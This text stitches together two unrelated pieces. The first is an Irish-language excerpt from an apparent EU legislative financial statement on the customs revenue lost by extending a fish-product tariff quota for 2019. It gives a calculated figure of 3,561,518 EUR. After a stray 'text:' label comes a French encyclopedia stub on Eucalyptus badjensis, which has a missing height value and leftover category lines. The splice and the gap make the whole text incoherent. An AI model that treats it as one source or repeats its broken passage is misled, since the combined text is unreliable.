 3.AN TIONCHAR AIRGEADAIS
 ◻
 Níl aon impleachtaí airgeadais ag an togra
 X Níl aon tionchar airgeadais ag an togra ar an gcaiteachas ach tá tionchar airgeadais aige ar ioncam
 ◻
 Tá tionchar airgeadais ar an ioncam sannta - is mar seo a leanas a bheidh an éifeacht:
 (EUR)
 Líne ioncaim
 3
 Bliain 2019
 Airteagal – 1 2 0 - Dleachtanna custaim agus dleachtanna eile
 3.561.518
 4.BEARTA FRITH-CHALAOISE
 Déanfar seiceálacha ar úsáid deiridh roinnt táirgí a chumhdaítear leis an Rialachán seo ón gComhairle i gcomhréir le hAirteagal 254 de Rialachán (AE) Uimh. 952/2013 lena leagtar síos forálacha maidir le Cód Custaim an Chomhphobail a chur chun feidhme.
 5.BARÚLACHA EILE
 1.Is é príomhthionchar an Rialacháin seo caillteanas ioncaim don Aontas Eorpach, ós rud é go ndéantar an taraif-chuóta le haghaidh shraithuimhir 09.2750 a mhodhnú ionas go mbeidh cód AC 1604 32 00 ag a bhfuil cód TARIC 20 san áireamh go ceann tréimhse theoranta bliana amháin, chomh maith le fonóta a dhéanfaidh tagairt do na cóid CN agus TARIC sin ina luaitear tréimhse ón 1 Eanáir 2019 go dtí an 31 Nollaig 2019 a chur san áireamh freisin.
 2.Déantar an t‐ollmhéid a ríomh ar bhonn suim gan íoc an taraif-chuóta uathrialaithigh 09.2750 (rud a thugann le fios gur baineadh an úsáid is fearr as an gcuóta), meánphraghas an táirge le dhá bhliain anuas, taraif na náisiún barrfhabhair (20 %) ar an táirge
 1.097.066,78 (tonnáiste)* 20.29(meánphraghas/kg) * 20 % (taraif)
 Dá bhrí sin, is é sin an t‐uasmhéid ioncaim is féidir a chailleadh ós rud é go dtugann an Comhphobail fabhair thrádála níos fearr do ghrúpaí éagsúla de thríú tíortha (Córas Ginearálaithe um Fhabhair (GSP), GSP+, Comhaontuithe Saorthrádála).
 (1)
 Rialachán (AE) 2018/1977 ón gComhairle an 14 Nollaig 2018 lena n‐osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2019-2020 agus lena bhforáiltear maidir leis an mbainistiú sin (IO L 317, 14.12.2018, Lch. 2).
 (2)
 Rialachán (AE) 2015/2265 ón gComhairle an 7 Nollaig 2015 lena n‐osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2016-2018 agus lena bhforáiltear maidir leis an mbainistiú sin (IO L 322, 8.12.2015, Lch. 4)
 (3)
 I gcás acmhainní dílse traidisiúnta (dleachtanna talmhaíochta, tobhaigh shiúcra, dleachtanna custaim), ní mór na méideanna a luaitear a bheith ina nglanmhéideanna, i.e. méideanna comhlána tar éis 20 % a bheith bainte astu le haghaidh costais bhailiúcháin.


text:
L'Eucalyptus bajensis (Eucalyptus de Badja) est une espèce d'eucalyptus des plateaux entre 800 et 1200 mètres d'altitude du sud-est de la Nouvelle-Galles du Sud et plus particulièrement dans la région de "Big Badja"
 Il se présente sous la forme d'un arbre vivace de de haut à l'écorce grise ou gris foncé, persistant à la base du tronc.
 Les feuilles adultes lancéolées font 8 à 20 centimétres de long sur 0,8 à 1.5 de large. Les fleurs par 3 sont blanches, en ombelles.
 Sa croissance rapide, sa résistance au froid, son bois de bonne qualité et ses feuilles riches en huile font qu'il a été mis en culture dans d'autres régions du monde (Brésil)
 Notes et références
 Liens externes
 Arbre
 badjensis
 Flore endémique d'Australie
 Espèce d'Angiospermes (nom scientifique)